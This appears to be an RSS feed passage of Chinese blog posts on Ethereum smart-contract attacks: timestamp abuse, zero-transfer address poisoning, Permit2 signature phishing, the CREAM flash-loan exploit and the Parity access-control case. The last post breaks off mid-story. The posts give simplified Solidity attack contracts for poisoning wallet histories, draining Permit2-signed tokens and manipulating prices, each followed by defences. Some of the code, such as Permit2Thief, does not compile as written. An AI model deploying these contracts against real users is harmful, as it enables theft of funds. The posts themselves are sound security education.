<p>尽量避免使用<code>block.timestamp</code>作为关键判断条件。如果必须使用，可以加上一个时间缓冲区（如15秒），以免微调对逻辑产生影响。</p>
<pre><code class="language-solidity">require(block.timestamp &#x3C; round.end + 15, "Round over");
</code></pre>
<h2><strong>总结</strong></h2>
<p>Fomo3D这案例告诉我们，智能合约要是太信赖区块时间戳<code>block.timestamp</code>，黑客就能靠‘调表’和网络拥堵（以太坊EIP1559之前gas定价权在矿工手里而导致），稳稳拿到大奖——就像硬生生抢走了几百万美元的‘6合采’。</p>
<p>所以说，产品设计上最好别把区块时间戳当救命稻草，尤其是在这种分秒必争的游戏里。要是非得用时间逻辑，换成不好作弊的区块号<code>block.number</code>，或者把窗口拉宽一点，别让黑客逮着机会一击致命。</p>
<hr>
]]></content:encoded>
      <category>以太坊</category>
      <pubDate>Sat, 15 Mar 2025 17:09:22 GMT</pubDate>
    </item>
    <item>
      <title>【以太坊】聊聊智能合约的0转账钓鱼攻击</title>
      <link>https://yangxinmin.com/ethereum-zero-transfer-phishing</link>
      <guid isPermaLink="true">https://yangxinmin.com/ethereum-zero-transfer-phishing</guid>
      <description>0转账钓鱼攻击是个啥？ 0转账钓鱼攻击（Zero Transfer Phishing Attack）是一种简单却阴险的骗术，虽然技术含量不高，但在币圈屡屡得手，甚至酿成过惊天大案（见下文）。 每次听说这种攻击得逞，连我都忍不住暗想：这黑客咋不是我呢？ 先打个生活中的比方： 假设你和好友张三经常通过银</description>
      <content:encoded><![CDATA[<h2><strong>0转账钓鱼攻击是个啥？</strong></h2>
<p>0转账钓鱼攻击（Zero Transfer Phishing Attack）是一种简单却阴险的骗术，虽然技术含量不高，但在币圈屡屡得手，甚至酿成过惊天大案（见下文）。</p>
<p>每次听说这种攻击得逞，连我都忍不住暗想：这黑客咋不是我呢？</p>
<p><strong>先打个生活中的比方：</strong></p>
<p>假设你和好友张三经常通过银行卡转账，时间一长，你的转账记录里就有了张三的卡号（<code>6666...1234...8888</code>）。下次转账时，你凭印象找那个“6666开头、8888结尾”的账号，直接点了确认。可这时，一个恶意的“假张三”用一个超像的卡号（<code>6666...1235...8888</code>）给你转了0元。这笔0元交易混进你的交易记录中，你没多想，下次转账时手快选错了，结果钱全进了假张三的口袋。现实生活中银行会拦住这种乌龙，但在区块链的去中心化世界里，黑客无影无踪，防不胜防。</p>
<p>简单说，0转账钓鱼攻击就是黑客通过发送<strong>0金额的转账</strong>，把一个<strong>长得像你常交易地址的假地址</strong>塞进你的钱包交易历史。等你下次转账时，钱包的“最近交易地址”功能一推荐，你没细看就选了，钱就乖乖进了黑客的腰包。为啥这招管用？因为像MetaMask、Trust Wallet这样的钱包都会记录交易历史，还贴心地提供“最近地址”选项，用户图方便一点，结果就被黑客钻了空子。</p>
<h2><strong>攻击现场</strong></h2>
<h3><strong>惊天大案</strong></h3>
<p>你以为只是多了条没啥用的记录？错！这是黑客精心埋下的“诱饵”。</p>
<p><strong>一起来看看这场惊天大案：</strong></p>
<p>2024年5月3日，据Web3反诈骗平台Scam Sniffer的监测，一名巨鲸遭遇了相同首尾号地址钓鱼攻击，被钓走 1155 枚 WBTC，价值约 7000 万美元。</p>
<p><strong>受害者的地址：</strong></p>
<p><code>0x1E227979f0b5BC691a70DEAed2e0F39a6F538FD5</code></p>
<p><strong>受害者的目标转账地址：</strong></p>
<p><code>0xd9A1b0B1e1aE382DbDc898Ea68012FfcB2853a91</code></p>
<p><strong>黑客地址：</strong></p>
<p><code>0xd9A1C3788D81257612E2581A6ea0aDa244853a91</code></p>
<p><strong>转账交易：</strong></p>
<p><a href="https://etherscan.io/tx/0x3374abc5a9c766ba709651399b6e6162de97ca986abc23f423a9d893c8f5f570">https://etherscan.io/tx/0x3374abc5a9c766ba709651399b6e6162de97ca986abc23f423a9d893c8f5f570</a></p>
<p><strong>交易列表：</strong></p>
<p><a href="https://etherscan.io/txs?a=0x1E227979f0b5BC691a70DEAed2e0F39a6F538FD5&#x26;p=11">https://etherscan.io/txs?a=0x1E227979f0b5BC691a70DEAed2e0F39a6F538FD5&#x26;p=11</a></p>
<p><img src="/api/images/image/2026/10/b92e1eed9c4672d8-image.png" alt="image.png"></p>
<p>受害者在etherscan.io/idm上对黑客喊话，说：“<strong>你赢了兄弟，你可以留下10%，然后把90%还回来，我们可以当啥事没发生过。我们都清楚7百万刀够你活得很好了，但是7千万刀会让你睡不好的。</strong>”</p>
<p>后来有传闻称，黑客良心发现退了90%，但未经证实。😂</p>
<p><strong>事件报道：</strong></p>
<p><a href="https://web3caff.com/zh/archives/92353">https://web3caff.com/zh/archives/92353</a></p>
<p><a href="https://x.com/realScamSniffer/status/1786374327740543464">https://x.com/realScamSniffer/status/1786374327740543464</a></p>
<h3><strong>攻击三步走</strong></h3>
<p>我们一步步拆解这招简单粗暴的套路：</p>
<ol>
<li>
<p>1. <strong>黑客造假地址</strong>黑客生成一个与你常交易地址<strong>首尾相似但中间不同</strong>的假地址，比如<code>0x6666...1234...8888</code> vs <code>0x6666...1235...8888</code>，肉眼很难分辨。</p>
<blockquote>
<p>怎么造这种地址？我自己就这么造过，用for循环不停生成钱包地址，再用正则表达式挑出首尾符合条件的“靓号”（方便记忆，但也隐藏风险），成本低效率高。</p>
</blockquote>
</li>
<li>
<p>2. <strong>发送0转账</strong>黑客用假地址向你的钱包发送0 ETH或0代币的转账。这笔交易不会改变你钱包余额，通常不会引起注意，但会悄悄出现在交易历史里。</p>
</li>
<li>
<p>3. <strong>诱导你误选</strong>下次你转账时，钱包输入框弹出“最近交易地址”，假地址混在里面。你急着操作，没仔细核对就点了，结果真金白银送给了黑客。</p>
</li>
</ol>
<h3><strong>为啥这么“阴”？</strong></h3>
<ul>
<li><strong>0转账没动静</strong>：没钱进账，没提示，你根本不会多看一眼。</li>
<li><strong>用户习惯坑人</strong>：大家都爱用“最近地址”功能，省时省力，却给了黑客可乘之机。</li>
</ul>
<h2><strong>还原攻击</strong></h2>
<p>想知道黑客咋“埋雷”的？我们直接上代码，看看技术细节。</p>
<h3><strong>攻击代码示例</strong></h3>
<p>针对ETH的0转账：</p>
<pre><code class="language-solidity">contract ZeroTransferPhish {
    function plantFakeAddress(address victim) external {
        // 发送0 ETH转账，制造交易记录
        (bool success, ) = victim.call{value: 0}("");
        require(success, "Transfer failed");
    }
}
</code></pre>
<p>针对ERC20代币的0转账：</p>
<pre><code class="language-solidity">interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
}

contract ZeroTransferPhish {
    function plantFakeAddress(IERC20 token, address victim) external {
        // 发送0代币转账，混进交易历史
        token.transfer(victim, 0);
    }
}
</code></pre>
<h3><strong>攻击流程</strong></h3>
<ol>
<li>1. <strong>收集目标</strong>黑客在区块链上分析活跃钱包，尤其是高净值用户，锁定目标。</li>
<li>2. <strong>造假地址</strong>生成一个与你常交易地址<strong>首尾相似</strong>的假地址，比如<code>0x6666...1234...8888</code> vs <code>0x6666...1235...8888</code>。</li>
<li>3. <strong>发送0转账</strong>用假地址向你的钱包发送<strong>0金额转账</strong>，Gas费低到几乎可以忽略，黑客成本极小。</li>
<li>4. <strong>等待你上钩并转账</strong>你下次转账时，钱包推荐“最近交易地址”，假地址混在里面。你没仔细看就选了，钱主动转给了黑客。交易一旦上链，<strong>不可逆</strong>，想追回都没门。</li>
</ol>
<h2><strong>咋防0转账钓鱼攻击？</strong></h2>
<p>0转账攻击不会直接偷你的钱，但能诱导你“亲手送钱”。以下是几招实用防身术，保住你的资产。</p>
<h3><strong>1. 转账前必核对地址</strong></h3>
<ul>
<li><strong>逐字检查地址</strong>，尤其是前6位和后6位，别被相似地址忽悠。</li>
<li>建个<strong>白名单</strong>，只用固定的可信收款地址。</li>
</ul>
<h3><strong>2. 关掉“最近交易地址”自动填充</strong></h3>
<ul>
<li>在钱包设置中关闭自动填充功能（如果支持），<strong>手动输入或粘贴地址</strong>。</li>
<li>用ENS（Ethereum Name Service）这样的<strong>人类可读地址</strong>（如<code>alice.eth</code>），把复杂地址变成易记名称，出错概率大大降低。</li>
</ul>
<h3><strong>3. 小额转账测试</strong></h3>
<ul>
<li>大额转账前，先发送一笔0.x的交易测试，看看是否能正常收到，避免大额失误。</li>
</ul>
<h3><strong>4. 开启钱包的小额过滤功能</strong></h3>
<ul>
<li>部分钱包支持小额过滤，屏蔽0转账记录，能降低被钓鱼的风险。</li>
</ul>
<h3><strong>5. 定期查交易记录</strong></h3>
<ul>
<li>上Etherscan查看钱包历史，发现可疑的0转账，记下来避开。</li>
</ul>
<h3><strong>6. 清理钱包历史</strong></h3>
<ul>
<li>有些钱包支持手动删除交易记录，定期清理，别让“地雷”有可乘之机。</li>
<li>养成从联系人列表或ENS输入地址的习惯。</li>
</ul>
<h3><strong>7. 用硬件钱包加保险</strong></h3>
<ul>
<li>用Ledger、Trezor这样的硬件钱包，每次转账都得手动确认，黑客再狡猾也没辙。</li>
</ul>
<h2><strong>总结</strong></h2>
<p>0转账钓鱼攻击利用交易记录埋‘陷阱’，诱导你选错地址，把钱亲手送给黑客。在区块链世界，地址一错钱就没，转账前不核对，就像不数清楚钞票就给人，损失了可没回头路。</p>
<p>想保住资产，记住这几招：</p>
<p>✅ 转账前<strong>逐字核对地址</strong>；</p>
<p>✅ 关掉自动填充，<strong>手动输入</strong>；</p>
<p>✅ 先用<strong>小额测试</strong>；</p>
<p>✅ 定期查记录，清理隐患；</p>
<p>✅ 用ENS或硬件钱包加保险。</p>
<hr>
<hr>
]]></content:encoded>
      <category>以太坊</category>
      <pubDate>Fri, 14 Mar 2025 10:25:49 GMT</pubDate>
    </item>
    <item>
      <title>【以太坊】聊聊智能合约的Permit2钓鱼攻击</title>
      <link>https://yangxinmin.com/ethereum-permit2-phishing-attack</link>
      <guid isPermaLink="true">https://yangxinmin.com/ethereum-permit2-phishing-attack</guid>
      <description>说在前面 玩过币的人都知道，ERC20是以太坊上一个常见的代币标准（支持钱包交易交互），里面有个类似开支票的功能——approve授权和transferFrom转账兑现。 如同现实生活中你给人开了一张支票，写上金额，对方拿着支票去银行就能把钱取走。你账户里的钱少了，他的账户里钱多了。 在智能合约里，</description>
      <content:encoded><![CDATA[<h2><strong>说在前面</strong></h2>
<p>玩过币的人都知道，ERC20是以太坊上一个常见的代币标准（支持钱包交易交互），里面有个类似开支票的功能——<code>approve</code>授权和<code>transferFrom</code>转账兑现。</p>
<p>如同现实生活中你给人开了一张支票，写上金额，对方拿着支票去银行就能把钱取走。你账户里的钱少了，他的账户里钱多了。</p>
<p>在智能合约里，<code>approve</code>就是你授权某个地址（可以是钱包，也可以是合约），允许它从你账户里花一定数量的代币；<code>transferFrom</code>则是对方拿着这个授权，把代币转走。</p>
<p>这个机制虽然方便，但也有风险。比如，你授权的对象可能是“披着羊皮的狼”，或者你不小心授权了太多代币，甚至授权没设期限。结果呢？坏人拿到了你的“空白支票”，直接把你账户清空。</p>
<p>今天我们要聊的，就是一种利用Permit2机制的钓鱼攻击——黑客通过骗取你的授权，让你的代币瞬间消失。</p>
<h2><strong>Permit2是个啥？</strong></h2>
<p><strong>先打个生活中的比方：</strong></p>
<p>想象一下你在超市买东西，收银员让你签个单子，说：“以后凭这个单子就能直接扣你银行卡的钱，不用每次刷卡了。”听起来很方便，对吧？但如果这个单子被坏人捡到，你的钱还能保住吗？Permit2就有点像这个“神奇单子”。</p>
<p>Permit2是Uniswap团队推出的一种升级版ERC20授权机制。传统的<code>approve</code>有个痛点：每次在DApp里交易前，你得先上链授权某个合约花你的代币，每次都要付Gas费，既麻烦又费钱。Permit2通过<strong>EIP-712签名</strong>解决了这个问题，让你离线签个名，一次性授权某个地址使用你的代币，之后就不用再操心Gas了。</p>
<h3><strong>Permit2的亮点</strong></h3>
<ul>
<li><strong>离线签名</strong>：不用上链，Gas费省到飞起。</li>
<li><strong>灵活性高</strong>：签名随时能用，方便得很。</li>
<li><strong>用户友好</strong>：操作简单，体验更好。</li>
</ul>
<h3><strong>和传统<code>approve</code>比强在哪？</strong></h3>
<ul>
<li><strong>传统<code>approve</code></strong>：每次交易前都要上链授权，Gas费像水一样流。</li>
<li><strong>Permit2</strong>：离线签个EIP-712签名，授权信息随时提交到链上执行，省时又省钱。</li>
</ul>
<h3><strong>EIP-712签名是啥？</strong></h3>
<p>简单来说，这是一种标准化的签名格式，能让人和机器都看懂你授权了什么。比如，你签个消息说：“我允许Alice的地址在今天内花我账户上100个USDT。”这个签名是离线生成的，安全性靠你的私钥保护。但问题也在这：授权对象得靠谱，不然签了名，代币可能就没了。</p>
<h2><strong>攻击现场</strong></h2>
<p>你以为自己签了个快递单，结果是张空白支票，骗子拿去随便填金额，把钱划走了。Permit2钓鱼攻击的套路差不多，黑客就是这么“偷”走你的代币的。</p>
<h3><strong>攻击三步走</strong></h3>
<ol>
<li>1. <strong>制作一个钓鱼网站</strong>黑客做一个假网站，伪装成Uniswap、Aave这种大平台，外观一模一样，连域名都特像，比如<code>unisswap.org</code>。你一看，心想：这不挺正规的吗？</li>
<li>2. <strong>诱导你签名</strong>网站跳出个诱导弹窗，声称：“连接钱包，签个名就能领空投！”或者“授权一下就能交易”。你在不知情的情况下签了名，结果授权对象是黑客的合约地址。</li>
<li>3. <strong>代币瞬间没了</strong>黑客拿到你的签名，直接调用<code>permitTransferFrom</code>，把你钱包里的代币转走。你啥也没干，连Gas费都不用出，你的钱包就空了。</li>
</ol>
<h3><strong>为啥这么“阴”？</strong></h3>
<ul>
<li><strong>离线签名没提示</strong>：没有Gas费的“警报”，你可能签了都没感觉。</li>
<li><strong>用户大意</strong>：很多人没看清授权给了谁，随手就签了。</li>
</ul>
<h2><strong>还原攻击</strong></h2>
<p>想知道技术细节？我们直接上代码，看看黑客的攻击合约长啥样：</p>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@uniswap/permit2/src/interfaces/ISignatureTransfer.sol";

contract Permit2Thief {
    ISignatureTransfer public permit2; // Uniswap的Permit2合约地址
    IERC20 public token;     // 目标代币地址

    constructor(address _permit2, address _token) {
        permit2 = IPermit2(_permit2);
        token = IERC20(_token);
    }

    function snatchTokens(
        address victim,         // 受害者地址
        uint256 amount,         // 要偷的代币数量
        address attacker,       // 攻击者地址
        bytes memory signature, // 用户签名
        uint256 victimNonce     // 受害者的nonce
    ) external {
        permit2.permitTransferFrom(
            PermitTransferFrom({
                token: address(token),
                amount: amount,
                spender: attacker,      // 授权给攻击者
                nonce: victimNonce,     // 使用受害者的nonce
                deadline: block.timestamp + 1 hours // 1小时有效
            }),
            signature
        );
        token.transfer(attacker, amount); // 转给攻击者
    }
}
</code></pre>
<h3><strong>攻击流程</strong></h3>
<ol>
<li>1. <strong>诱导签名</strong>钓鱼网站让你签个Permit2授权，授权对象是黑客的合约地址。</li>
<li>2. <strong>拿到签名</strong>黑客用你的签名填好金额和时间。</li>
<li>3. <strong>执行转账</strong>调用<code>permitTransferFrom</code>，用你的授权直接把代币转走。</li>
</ol>
<h3><strong>核心漏洞</strong></h3>
<ul>
<li>你没看清<code>spender</code>（授权对象）是谁。</li>
<li>Permit2签名太灵活，离线就能用，黑客逮住机会下手。</li>
</ul>
<h3><strong>真实案例</strong></h3>
<p>网络安全公司 ScamSniffer （X：@realScamSniffer）披露了很多Permit2钓鱼攻击案例，可以关注了解，这里就不再一一列举。</p>
<h2><strong>咋防Permit2钓鱼攻击？</strong></h2>
<p>Permit2是把双刃剑，用得好省心省力，用不好就被“刀”。以下是几招实用防身术：</p>
<h3><strong>1. 签名前看清楚</strong></h3>
<p>签名时，钱包会弹提示，显示“授权XXX地址花你的代币”。这XXX要是陌生地址，赶紧停手！</p>
<p><strong>建议</strong>：只授权给可信合约，比如Uniswap官方地址（去官网查）。</p>
<h3><strong>2. 用“聪明”钱包</strong></h3>
<p>MetaMask、Uniswap、Phantom、SubWallet这些钱包会模拟交易，签名前告诉你授权了啥。多看一眼，少掉坑。</p>
<h3><strong>3. 授权别太“大手大脚”</strong></h3>
<p>别随便授权<code>uint256.max</code>（无限额度），只给需要的数量，<code>deadline</code>（截止时间）也设短点，比如1小时后失效。</p>
<p><strong>代码样例：</strong></p>
<pre><code class="language-solidity">PermitTransferFrom({
    token: tokenAddress,
    amount: 50 ether,           // 只授权50个代币
    spender: trustedAddress,    // 可信地址
    nonce: currentNonce,
    deadline: block.timestamp + 1 hours // 1小时过期
})
</code></pre>
<h3><strong>4. 定期“大扫除”</strong></h3>
<p>用Revoke.cash这类工具，查查你钱包授权给了哪些地址，不需要的赶紧撤销。</p>
<p>长时间授权可能是定时炸弹，防患于未然。</p>
<h3><strong>5. 看清网站真假</strong></h3>
<ul>
<li><strong>检查URL</strong>：域名是不是官网的（如<code>uniswap.org</code>）？小心伪域名，比如<code>unisswap.org</code>、<code>unisawp.org</code>、<code>uniswap.com</code>。</li>
<li><strong>看SSL证书</strong>：浏览器地址栏有没有绿色小锁（https）？</li>
<li><strong>硬件钱包更安全</strong>：用Ledger、Trezor签名，黑客想偷也难。</li>
</ul>
<h3><strong>6. 安装“门神”</strong></h3>
<p>在浏览器上安装反钓鱼插件，在chrome应用商店中搜索并安装：<code>Scam Sniffer</code>、<code>Revoke.cash</code>。</p>
<h2><strong>总结</strong></h2>
<p>Permit2是Uniswap为了省Gas、提升体验推出的好东西，但好东西到了坏人手里就成了“作案利器”。黑客的套路简单粗暴：通过钓鱼网站诱导你签名，拿了签名后直接转走代币，你连反应的时间都没有。</p>
<p>想保住钱包，记住这几招：</p>
<p>✅ 签名前看清<code>spender</code>是谁；</p>
<p>✅ 授权别给太多；</p>
<p>✅ 用靠谱钱包；</p>
<p>✅ 定期清理授权。</p>
<p>在区块链的世界里，<strong>签名就是权力</strong>，随便签等于把钱包钥匙递给别人。留个心眼，别让黑客笑到最后！</p>
<hr>
]]></content:encoded>
      <category>以太坊</category>
      <pubDate>Fri, 14 Mar 2025 06:32:55 GMT</pubDate>
    </item>
    <item>
      <title>【以太坊】聊聊智能合约的闪电贷攻击</title>
      <link>https://yangxinmin.com/ethereum-flash-loan-attack</link>
      <guid isPermaLink="true">https://yangxinmin.com/ethereum-flash-loan-attack</guid>
      <description>闪电贷攻击是个啥东东？ 先打个生活中的比方： 想象一下你去银行借了一大笔钱，条件是得在离开柜台前还清。你坐在柜台前，拿这钱顺手跟旁边的人做了笔生意，赚了差价，再把钱还给银行，几分钟倒腾下来，口袋里就多了利润（当然这种操作是不现实的，这里只是帮助理解闪电贷——就是速借速还）。 闪电贷（Flash Lo</description>
      <content:encoded><![CDATA[<h2><strong>闪电贷攻击是个啥东东？</strong></h2>
<p><strong>先打个生活中的比方：</strong></p>
<p>想象一下你去银行借了一大笔钱，条件是得在离开柜台前还清。你坐在柜台前，拿这钱顺手跟旁边的人做了笔生意，赚了差价，再把钱还给银行，几分钟倒腾下来，口袋里就多了利润（当然这种操作是不现实的，这里只是帮助理解闪电贷——就是速借速还）。</p>
<p>闪电贷（Flash Loan）就类似这样：在区块链上，你能瞬间借入巨额资金，只要在同一笔交易里还回去就行，不需要抵押。听起来很妙吧？但这玩意儿要是没管好，就成了黑客掏空DeFi协议的“作案利器”。</p>
<p>闪电贷是DeFi里的一种创新工具，允许用户在单次以太坊交易中借入资金，用完后立即归还。如果还不上，交易就回滚，像没发生过。因为无需抵押，它常用于套利、清算等操作，但黑客也能利用它瞬间操控市场、搞乱价格，甚至洗劫资金池。今天我们就拿2021年的CREAM Finance攻击案，拆解这场“闪电贷血案”，看看是咋回事，又该咋防？</p>
<h2><strong>闪电贷攻击引发的“血案”</strong></h2>
<h3><strong>起因：DeFi协议的复杂设计</strong></h3>
<p>CREAM Finance是个借贷协议，2021年时在DeFi圈挺火。</p>
<p>它允许用户存入资产借贷，依赖多个协议（如去中心化交易所DEX和预言机）来定价和清算。但复杂的交互设计让它成了黑客眼中的目标。</p>
<p>2021年10月，黑客盯上了它的价格更新机制，策划了一场闪电贷攻击。</p>
<h3><strong>经过：漏洞被掏空</strong></h3>
<p>2021年10月27日，黑客对CREAM Finance发起攻击，几分钟内卷走超1.3亿美元。具体咋干的？</p>
<p><strong>攻击者钱包地址</strong>：</p>
<p><code>0x24354d31bc9d90f62fe5f2454709c32049cf866b</code></p>
<p><strong>攻击者合约地址</strong>：</p>
<p><a href="https://etherscan.io/address/0x961d2b694d9097f35cfffa363ef98823928a330d#code">https://etherscan.io/address/0x961d2b694d9097f35cfffa363ef98823928a330d#code</a></p>
<p><strong>第一步：借入巨资</strong></p>
<p>黑客从Aave借了价值约5亿美元的资产（包括ETH等多种代币），通过闪电贷瞬间拿到这笔巨资。</p>
<p>交易现场：</p>
<p><a href="https://etherscan.io/tx/0x0fe2542079644e107cbf13690eb9c2c6594ccb7901be4f2275b3d2e2a1aa518d">https://etherscan.io/tx/0x0fe2542079644e107cbf13690eb9c2c6594ccb7901be4f2275b3d2e2a1aa518d</a></p>
<p><strong>第二步：搞乱价格</strong></p>
<p>黑客用借来的ETH在Uniswap等DEX上大量交易CREAM相关代币，推高这些代币的价格，制造市场偏差。CREAM的预言机没及时更新，协议还以为一切正常。</p>
<p><strong>第三步：套利跑路</strong></p>
<p>趁着价格偏差，黑客在CREAM用高估的价格借出更多代币，趁市场高价卖出，低价回购后赚差价，最后还掉闪电贷，净赚1.3亿多美元。</p>
<h3><strong>影响：资金蒸发，信任崩盘</strong></h3>
<p>这次攻击让CREAM损失了1.3亿美元，用户资金被洗劫，协议信誉一落千丈。社区炸了锅，大家开始质疑DeFi的安全性，其他协议也赶紧加强防御。这事儿成了2021年DeFi史上的一大教训。</p>
<h2><strong>“血案”现场</strong></h2>
<p><strong>想看攻击细节？戳这儿：</strong></p>
<p><a href="https://etherscan.io/tx/0x0fe2542079644e107cbf13690eb9c2c6594ccb7901be4f2275b3d2e2a1aa518d">https://etherscan.io/tx/0x0fe2542079644e107cbf13690eb9c2c6594ccb7901be4f2275b3d2e2a1aa518d</a></p>
<p><strong>关键手法：价格操纵</strong></p>
<p>黑客的核心是借闪电贷瞬间砸盘，搞乱DEX价格，再趁CREAM反应慢套利，具体过程参考下方的简化代码。</p>
<p><strong>致命漏洞：</strong></p>
<p>CREAM依赖单一DEX价格或预言机更新太慢，黑客用闪电贷放大操作，在几秒内完成“借-砸-赚-还”。</p>
<h2><strong>还原攻击现场</strong></h2>
<h3><strong>漏洞合约（简版复现）</strong></h3>
<pre><code class="language-solidity">contract CreamVulnerable {
    address dex;        // DEX地址
    address token;      // 目标代币
    uint256 tokenPrice; // 代币价格

    constructor(address _dex, address _token) {
        dex = _dex;
        token = _token;
    }

    function updatePrice() public {
        tokenPrice = IDex(dex).getPrice(token); // 从DEX取即时价格
    }

    function borrow(uint256 amount) external {
        require(IERC20(token).balanceOf(address(this)) >= amount, "Not enough funds");
        IERC20(token).transfer(msg.sender, amount); // 借出代币
    }
}

contract FlashLoanAttack {
    address lendingPool;
    address dex;
    address cream;
    address token;

    constructor(address _lendingPool, address _dex, address _cream, address _token) {
        lendingPool = _lendingPool;
        dex = _dex;
        cream = _cream;
        token = _token;
    }

    function startAttack(uint256 amount) external {
        ILendingPool(lendingPool).flashLoan(amount);
    }

    function onFlashLoan(uint256 amount) external {
        // 1. 操纵DEX价格
        IERC20(token).approve(dex, amount);
        IDex(dex).swap(token, amount); // 推高价格
        // 2. 从Cream借出更多代币
        CreamVulnerable(cream).borrow(amount * 2);
        // 3. 套利并还款
        IDex(dex).swap(token, amount * 2); // 卖出赚差价
        ILendingPool(lendingPool).repayLoan(amount);
    }
}
</code></pre>
<h3><strong>攻击步骤</strong></h3>
<ol>
<li>1. <strong>第一步：借入巨资</strong>
<ul>
<li>黑客从Aave借入5亿美元资产（包括ETH等多种代币）。</li>
</ul>
</li>
<li>2. <strong>第二步：搞乱价格</strong>
<ul>
<li>用借来的ETH在DEX上大量交易，推高<code>token</code>价格。</li>
</ul>
</li>
<li>3. <strong>第三步：套利提款</strong>
<ul>
<li>在CREAM用高估的价格借出更多代币，趁市场高价卖出，低价回购后赚差价。</li>
</ul>
</li>
<li>4. <strong>第四步：还贷跑路</strong>
<ul>
<li>还掉闪电贷，利润归己。</li>
</ul>
</li>
</ol>
<p><strong>通俗理解：黑客是咋赚钱的？</strong></p>
<p>黑客就像在店里（CREAM合约）借了10个“账面200块”的包包，在市场上卖了500块（砸低市场价到50块），用250块（低价）回购5个包包还店里（店里以为值1000块，即CREAM合约的价格预言机还没更新到市场价），赚了250块。循环几次，赚翻了。这就是“高价借低价卖”的套路：用CREAM的高估价格借一堆，市场低价卖掉，再低价买回少量还债，差价就是利润。</p>
<h3><strong>被攻击的本质原因</strong></h3>
<ul>
<li><strong>价格预言机缺陷</strong>：CREAM依赖自身更新较慢的价格预言机，容易被操纵。</li>
<li><strong>闪电贷放大效应</strong>：瞬间借贷让黑客能快速掌控市场。</li>
</ul>
<h2><strong>咋防闪电贷攻击？</strong></h2>
<p>搞清楚漏洞在哪，就得堵上。以下是几招实用办法：</p>
<h3><strong>1. 用靠谱的预言机</strong></h3>
<pre><code class="language-solidity">import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract SafeCream {
    AggregatorV3Interface priceFeed;

    constructor(address _priceFeed) {
        priceFeed = AggregatorV3Interface(_priceFeed);
    }

    function getPrice() public view returns (uint256) {
        (, int256 price,,,) = priceFeed.latestRoundData();
        return uint256(price);
    }
}
</code></pre>
<p><strong>效果</strong>：用Chainlink等多源预言机，避开单一DEX价格风险。</p>
<h3><strong>2. 采用时间加权平均价格</strong></h3>
<pre><code class="language-solidity">contract TWAPCream {
    uint256[] prices;
    uint256 lastUpdate;

    function updatePrice(uint256 newPrice) external {
        if (block.timestamp - lastUpdate > 1 hours) {
            prices.push(newPrice);
            lastUpdate = block.timestamp;
        }
    }

    function getTWAP() public view returns (uint256) {
        uint256 sum = 0;
        for (uint256 i = 0; i &#x3C; prices.length; i++) {
            sum += prices[i];
        }
        return sum / prices.length;
    }
}
</code></pre>
<p><strong>效果</strong>：用时间加权平均价格（TWAP），防短期操纵。</p>
<h3><strong>3. 限制闪电贷规模</strong></h3>
<pre><code class="language-solidity">contract LimitedLendingPool {
    uint256 maxLoan = 1000 ether;

    function flashLoan(uint256 amount) external {
        require(amount &#x3C;= maxLoan, "Loan too large");
        // 借贷逻辑
    }
}
</code></pre>
<p><strong>效果</strong>：限制借款上限，降低市场冲击力。</p>
<h3><strong>4. 检查调用来源</strong></h3>
<pre><code class="language-solidity">contract SafeBorrow {
    function borrow(uint256 amount) external {
        require(msg.sender == tx.origin, "No external contract calls"); // 防闪电贷，注：tx.origin可被代理合约绕过，实际应使用更强防护
        IERC20(token).transfer(msg.sender, amount);
    }
}
</code></pre>
<p><strong>效果</strong>：限制外部合约调用，挡住闪电贷入口（注：<code>tx.origin</code>易绕过，改为更安全检查）。</p>
<h2><strong>总结</strong></h2>
<p>闪电贷攻击是DeFi“快钱”带来的隐患。在CREAM事件里，黑客用5亿美元资产瞬间砸盘，套走1.3亿美元，暴露了CREAM依赖自身更新较慢的价格预言机的致命弱点。闪电贷本身无罪，关键看协议怎么设计。选用靠谱的预言机、限制借款规模，才能让这把‘双刃剑’趋利避害，为 DeFi 生态创造更多价值。</p>
<hr>
]]></content:encoded>
      <category>以太坊</category>
      <pubDate>Thu, 13 Mar 2025 14:38:09 GMT</pubDate>
    </item>
    <item>
      <title>【以太坊】聊聊智能合约的未授权访问攻击</title>
      <link>https://yangxinmin.com/ethereum-unauthorized-access-attack</link>
      <guid isPermaLink="true">https://yangxinmin.com/ethereum-unauthorized-access-attack</guid>
      <description>未授权访问攻击是个啥东东？ 先打个生活中的比方： 想象你家有个智能保险箱，正常得输密码才能开。可这保险箱有个设计漏洞，任何人按一下“重置键”，就能把自己设成主人，然后光明正大地把里面的金条拿走。 未授权访问攻击（Unauthorized Access Attack）就类似这样：黑客利用智能合约权限控</description>
      <content:encoded><![CDATA[<h2><strong>未授权访问攻击是个啥东东？</strong></h2>
<p><strong>先打个生活中的比方：</strong></p>
<p>想象你家有个智能保险箱，正常得输密码才能开。可这保险箱有个设计漏洞，任何人按一下“重置键”，就能把自己设成主人，然后光明正大地把里面的金条拿走。</p>
<p>未授权访问攻击（Unauthorized Access Attack）就类似这样：黑客利用智能合约权限控制的漏洞，绕过身份验证，篡改状态或偷走资产。</p>
<p>未授权访问攻击是指攻击者利用合约中访问控制的缺陷，非法调用受限函数或修改关键数据。在以太坊上，这种攻击往往是因为开发者没给关键函数加权限限制，或者权限逻辑有漏洞，让外人能冒充合法用户。</p>
<p>2017年7月的Parity多重签名钱包事件就是个经典案例，今天我们就来拆解这场“血案”，看看它咋发生的，又该咋防。</p>
<h2><strong>未授权访问攻击引发的“血案”</strong></h2>
<h3><strong>起因：多签钱包的“安全升级”</strong></h3>
<p>Parity是以太坊生态里知名的钱包项目，主打多重签名（MultiSig）功能，让多人共同管理资产，号称更安全。2017年7月，他们推出1.5版本，升级了多签钱包的后台库（<code>WalletLibrary</code>），宣称优化了性能和安全性。可惜，这“升级”没堵住漏洞，反而留下了后门。</p>
<h3><strong>经过：漏洞被掏空</strong></h3>
<p>2017年7月19日，黑客盯上了Parity钱包，几个小时内偷走了15.3万ETH。具体过程是这样的：</p>
<p><strong>第一步：冒充主人</strong></p>
<p>黑客利用钱包合约的回退函数，通过<code>delegatecall</code>调用了库合约的<code>initWallet</code>函数。这个函数内部调用<code>initMultiowned</code>，把黑客地址（<code>0xb3764761e297d6f121e79c32a65829cd1ddb4d32</code>）设为<code>owners</code>，成功篡改了权限。</p>
<p><strong>改权限现场</strong>：</p>
